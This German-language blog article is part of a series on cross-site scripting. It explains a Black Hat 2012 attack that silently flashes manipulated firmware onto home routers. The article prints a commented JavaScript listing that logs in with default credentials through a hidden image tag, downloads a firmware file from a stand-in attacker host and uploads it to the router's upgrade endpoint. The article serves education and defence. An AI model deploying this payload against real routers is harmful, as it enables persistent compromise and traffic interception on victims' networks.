Skip to content

XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router

Über Cross-Site Scripting in den Browser eingeschleuster JavaScript-Schadcode kann zum Beispiel die DNS-Einstellungen des SOHO-Routers des lokalen Netzes manipulieren. Danach kann der Angreifer die Internetzugriffe seines Opfers auf beliebige Server umleiten.

Das ist schon ziemlich schlimm, es geht noch schlimmer. Der Angreifer könnte auch die Router-Firmware gegen eine manipulierte Version mit beliebigen Schadfunktionen austauschen. Während sich die DNS-Einstellungen leicht erkennen und auch wieder ändern lassen, wird man eine manipulierte Firmware nicht so einfach wieder los.

So bekommt der Router unbemerkt und unerwünscht eine neue Firmware

Die Manipulation der Router-Firmware haben Phil Purviance und Joshua Brashars auf der Black Hat USA 2012 in ihrem Vortrag "Blended Threats and JavaScript: A Plan for Permanent Network Compromise" präsentiert. Dazu wurden mehrere bereits seit langem bekannte Angriffe mit den neuen Möglichkeiten von HTML5 und dessen JavaScript-APIs kombiniert. Der entsprechende Schadcode kann dann zum Beispiel über eine XSS-Schwachstelle oder manipulierte Werbeanzeigen in harmlose Websites eingeschleust werden, um die lokalen Netze der Besucher dieser Websites zu kompromittieren.

Der Schadcode sucht mit einem JavaScript- basierten Portscan nach dem Router, der dann anhand Gerätespezifischer Ressourcen wie zum Beispiel Logo-Grafiken oder bestimmten Skripten identifiziert wird.

Falls auf den Router über Default-Zugangsdaten zugegriffen werden kann, wird sofort eine manipulierte Firmware installiert (siehe unten). Ist der Router durch ein individuelles Passwort geschützt, kann die Authentifizierung unter Umständen mittels Cross-Site Request Forgery unterlaufen werden, außerdem sind Brute-Force- und Wörterbuch-Angriffe auf die Authentifizierung möglich.

Nachdem der Angreifer sich Zugriff auf den Router verschafft hat, kann er über einen "Cross-Origin Remote File Upload" eine manipulierte Firmware auf den Router installieren. Über diese manipulierte Firmware kann er dann zum Beispiel als Man-in-the-Middle den gesamten Internetverkehr des lokalen Netzes überwachen und manipulieren.

So funktioniert ein "Cross-Origin Remote File Upload"

Die Kommentare im folgenden Listing (nach dem Beispiel aus dem Vortrag von Phil Purviance und Joshua Brashars auf der Black Hat USA 2012) sollten für das Verständnis des Cross-Origin Remote File Uploads ausreichen. Ausgelöst wird der Angriff durch ein simples img-Tag, dass ein (nicht vorhandenes) Bild vom Router lädt und dabei die Authentifizierungsdaten der HTTP Basic Authentication mitschickt. Da es das Bild nicht gibt, wird die Funktion fileUpload() im onerror-Attribut ausgeführt.

Die holt zuerst über einen XMLHttpRequest die präparierte Firmware vom Server des Angreifers, speichert sie in einer Variablen zwischen und sendet sie danach über einen weiteren XMLHttpRequest an den Router. Der Body des dafür verwendeten POST-Requests wird in der Variablen body aus seinen einzelnen Bestandteilen zusammengesetzt.

<script>
function fileUpload() {
   // Die Funktion, die sowohl den Download der Firmware vom Server
   // als auch den Upload zum Router übernimmt

   // Auswahl der neuen Firmware
   var destination = "http://192.168.1.1/upgrade.cgi";
   var fileName = "neueFirmware.bin"; 
   var srcFile = "http://angreifer.example/neueFirmware.bin";

   // Holen der neuen Firmware mittels XMLHttpRequest
   x = new XMLHttpRequest;
   x.open("get", srcFile);
   x.overrideMimeType("text/plain; charset=x-user-defined");
   x.send();
   x.onreadystatechange = function() {
      if (x.readyState == 4) {
         // Die Firmware wurde erfolgreich vom Server des Angreifers 
         // geladen und kann nun in der Variablen fileData 
         // zwischengespeichert werden 
         a = x.responseText ¦¦ "";
         var ff = [];
         var mx = a.length;
         var scc = String.fromCharCode;
         for(var z = 0;z < mx;z++) {
            ff[z] = scc(a.charCodeAt(z) & 255)
         }
         var fileData = ff.join("");

         // Die gespeicherte Firmware kann nun über einen weiteren
         // XMLHttpRequest an den Router gesendet werden
         xhr = new XMLHttpRequest;
         xhr.upload.addEventListener("progress", updateProgress, false);
         xhr.upload.addEventListener("load", transferComplete, false);
         var fileSize = fileData.length;
         boundary = "---------------------------168072824752491622650073";

         // Vorbereiten des POST-Requests
         xhr.open("POST", destination, true);
         xhr.withCredentials = "true";
         xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);

         // Zusammenstellen des POST-Body
         var body = boundary + "\r\n";
         body += 'Content-Disposition: form-data; name="submit_button" \r\n\r\nUpgrade\r\n';
         body += boundary + '\r\nContent-Disposition: form-data; name="change_action"\r\n\r\n\r\n';
         body += boundary + '\r\nContent-Disposition: form-data; name="action"\r\n\r\n\r\n';
         body += boundary + '\r\nContent-Disposition: form-data; name="file"; filename="' + fileName + '"\r\n';
         body += "Content-Type: application/macbinary\r\n";
         body += "\r\n" + fileData + "\r\n\r\n";
         body += boundary + '\r\nContent-Disposition: form-data; name="process"\r\n\r\n\r\n';
         body += boundary + "--";

         if (typeof XMLHttpRequest.prototype.sendAsBinary == "undefined" && Uint8Array) {
            // sendAsBinary muss emuliert werden
            XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
               function byteValue(x) {
                  return x.charCodeAt(0) & 255
               }
               var ords = Array.prototype.map.call(datastr, byteValue); 
               var ui8a = new Uint8Array(ords);
               this.send(ui8a.buffer)
            }
         }

         // Jetzt kann der Body gesendet werden
         xhr.sendAsBinary(body);
         return true
      }
   }
};
</script>

// Das eigentliche Einschleusen der Firmware passiert über dieses img-Tag,
// dass nebenbei das Einloggen des Angreifers beim Router übernimmt
<img style="visibility:hidden" 
     src="http://admin:admin@192.168.1.1/" 
     onerror="fileUpload();"></img>

So weit, so schlecht. Die manipulierte Firmware ist nur schwer zu entdecken, und wenn der Angreifer Wert darauf legt auch nicht so einfach durch eine unveränderte Originalversion zu ersetzen.

In der nächsten Folge geht es um einige weiter Möglichkeiten, über einen XSS-Angriff Schaden anzurichten: Mit Hilfe Browser-basierter Botnets.

Carsten Eilers


Übersicht über alle Artikel zum Thema

Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS
Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy
Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy
Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS
Cross-Site Scripting im Überblick, Teil 5: Resident XSS
XSS-Angriffe, Teil 1: Informationen einschleusen
XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen
XSS-Angriffe, Teil 3: Zugangsdaten ausspähen
XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!
XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN
XSS-Angriffe, Teil 6: Ein verbesserter Portscanner
XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen
XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests
XSS-Angriffe, Teil 9: Der Router im Visier
XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router
XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router
XSS-Angriffe, Teil 12: Browser-basierte Botnets
XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe
XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF

Trackbacks

Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #1: Unsichere Weboberflächen, Teil 5

Vorschau anzeigen
Die Beschreibung der gefährlichsten Schwachstellen in den Geräten des IoT geht weiter. In der Liste der Top IoT Vulnerabilities von OWASP sind wir immer noch bei Platz 1, dem &quot;Insecure Web Interface&quot;. Aber wenigstens sind wir beim zweiten